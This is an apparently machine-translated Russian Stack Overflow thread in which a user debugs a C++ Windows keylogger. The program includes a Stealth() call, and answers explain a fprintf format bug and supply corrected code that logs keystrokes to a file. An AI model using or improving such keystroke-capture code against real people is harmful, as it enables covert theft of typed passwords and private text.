Я был посетителем stackoverflow в течение достаточно долгого времени, и это мой первый вопрос на этом сайте 🙂
Я пытаюсь написать кейлоггер, который будет сохранять нажатия клавиш в текстовом файле .txt, но проблема заключается в следующем. Я проверяю выходные данные cmd.exe с помощью cout и вижу, что он работает нормально, но когда я открываю файл LOG.txt, я вижу, что программа печатает abcdefgh как 012345678. Только эти некапитальные буквы не работают. Каждый другой ключ печатается правильно внутри файла.
Вот моя основная функция:
int main()
{
Stealth();
//Focus();
char i;
while (1)
{
for(i = 8; i <= 255; i++){
if (GetAsyncKeyState(i) == -32767){
i=_getch();
cout << i << endl;
Save(i,"LOG.txt");
}
}
}
system("pause");
return 0;
}
Функция сохранения:
int Save(int key, char *file)
{
FILE *OUTPUT_FILE;
OUTPUT_FILE = fopen(file, "a+");
*(determining special conditions like ENTER,SPACE...)*
*...*
*...*
else
fprintf(OUTPUT_FILE, "%s", &key);
fclose(OUTPUT_FILE);
return 0;
}
Пока я вижу одну неправильную вещь и пару вещей, которые я бы сделал по-другому. Во-первых, я не думаю, что я бы открывал и закрывал файл каждый раз, когда он пишет один символ.
Во-вторых (неправильно неправильно), вы звоните fprintf
указание строки %s
и давая ему целочисленный указатель &key
, Легкое исправление должно быть fprintf(OUTPUT_FILE, "%c", (char)key)
хотя существуют гораздо более элегантные решения для размещения одного символа, т.е. putc
,
ИМХО, у вас есть одна серьезная проблема в этом коде: вы используете i
в качестве индекса цикла, и измените его значение в цикле.
Другая проблема заключается в том, что ваш Save
функция совершенно неверна.
На моем собственном ящике следующий код правильно отображает нажатые клавиши и записывает их в файл LOG.txt
:
int Save(int key, char *file)
{
FILE *OUTPUT_FILE;
OUTPUT_FILE = fopen(file, "a");
fprintf(OUTPUT_FILE, " %c (%02x)", key, key);
fclose(OUTPUT_FILE);
return 0;
}
int main()
{
//Stealth();
//Focus();
char i;
// truncate log file
fd = fopen("LOG.txt", "w");
fclose(fd);
while (1)
{
for(i = 8; i <= 255; i++){
if (GetAsyncKeyState(i) == -32767){
//i=_getch();
cout << i << endl;
Save(i,"LOG.txt");
}
}
}
// system("pause"); never used ...
return 0;
}
Конечно, я должен нажать Ctrl-C или Ctrl-Break, чтобы остановить программу, и не буквенно-цифровые клавиши показывают странные символы …
Но когда я ввожу ABCDEFGH012345678, а затем Ctrl-C (не используя клавиатуру для цифр), я получаю, как и ожидалось, в LOG.txt:
A (41) B (42) C (43) D (44) E (45) F (46) G (47) H (48) 0 (30) 1 (31) 2 (32) 3 (33) 4 ( 34) 5 (35) 6 (36) 7 (37) 8 (38). (11)
Последний символ представляет собой Ctrl, который является здесь точкой .
но на самом деле это квадрат …